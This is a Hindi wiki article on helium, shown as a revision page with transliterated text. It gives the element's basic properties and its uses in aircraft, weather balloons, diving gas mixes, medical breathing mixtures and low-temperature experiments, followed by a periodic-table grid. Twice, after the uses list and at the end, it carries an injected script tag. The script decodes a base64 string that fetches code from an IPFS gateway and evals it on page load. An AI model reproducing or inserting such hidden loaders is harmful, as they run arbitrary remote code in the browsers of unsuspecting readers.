Difference between revisions of "हीलियम"
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*[[द्रव]] हीलियम का उपयोग निम्न [[ताप]] पर प्रयोगों में निम्न तापीय अभिकर्मक के रूप मेँ किया जाता है। | *[[द्रव]] हीलियम का उपयोग निम्न [[ताप]] पर प्रयोगों में निम्न तापीय अभिकर्मक के रूप मेँ किया जाता है। | ||
| + | {{प्रचार}} | ||
{{लेख प्रगति | {{लेख प्रगति | ||
|आधार= | |आधार= | ||
Revision as of 13:59, 10 January 2011
- REDIRECTsaancha:Infobox element
(aangrezi:Helium) hiliyam avart sarani ka dvitiy tatv hai. isaka pratikanusar 'He' tatha paramanu sankhya 2 hoti hai. isaka paramanu dravyaman 4.002602 hota hai. isaka ilektr aaunik vinyas 1s2 hota hai. isaki khoj phraiankalaind aur lokeyar ne ki thi. hiliyam ek halki, ajvalanashil aur akriy gais hai. yah brahmaand mean doosara sarvadhik paya jane vala tatv hai.
hiliyam ka upayog
- hiliyam ka upayog vayuyan ke tayaroan mean bharane mean kiya jata hai. halki gais hone ke karan hiliyam vayuyan ko oopar uthata hai.
- mausam sanbandhi janakari prapt karane ke lie gubbare mean hiliyam gais bharakar use chho da jata hai.
- hiliyam aur aauksijan ka mishran gahare samudroan mean gotakhoroan dvara vayu ke sthan par prayog kiya jata hai, kyoanki adhik dab par hiliyam naitrojan ki apeksha rakt mean kam viley hota hai.
- aspataloan mean dama ke rogoan ko kritrim saans ke roop mean hiliyam aur aauksijan gais ka mishran diya jata hai.
- drav hiliyam ka upayog nimn tap par prayogoan mean nimn tapiy abhikarmak ke roop mean kiya jata hai.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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tika tippani aur sandarbh
sanbandhit lekh
| avart sarani | |||||||||||||||||||||||||||||||||||||||||
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| H | He | ||||||||||||||||||||||||||||||||||||||||
| Li | Be | B | C | N | O | F | Ne | ||||||||||||||||||||||||||||||||||
| Na | Mg | Al | Si | P | S | Cl | Ar | ||||||||||||||||||||||||||||||||||
| K | Ca | Sc | Ti | V | Cr | Mn | Fe | Co | Ni | Cu | Zn | Ga | Ge | As | Se | Br | Kr | ||||||||||||||||||||||||
| Rb | Sr | Y | Zr | Nb | Mo | Tc | Ru | Rh | Pd | Ag | Cd | In | Sn | Sb | Te | I | Xe | ||||||||||||||||||||||||
| Cs | Ba | La | Ce | Pr | Nd | Pm | Sm | Eu | Gd | Tb | Dy | Ho | Er | Tm | Yb | Lu | Hf | Ta | W | Re | Os | Ir | Pt | Au | Hg | Tl | Pb | Bi | Po | At | Rn | ||||||||||
| Fr | Ra | Ac | Th | Pa | U | Np | Pu | Am | Cm | Bk | Cf | Es | Fm | Md | No | Lr | Rf | Db | Sg | Bh | Hs | Mt | Ds | Rg | Cn | Uut | Uuq | Uup | Lv | Uus | Uuo | ||||||||||
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>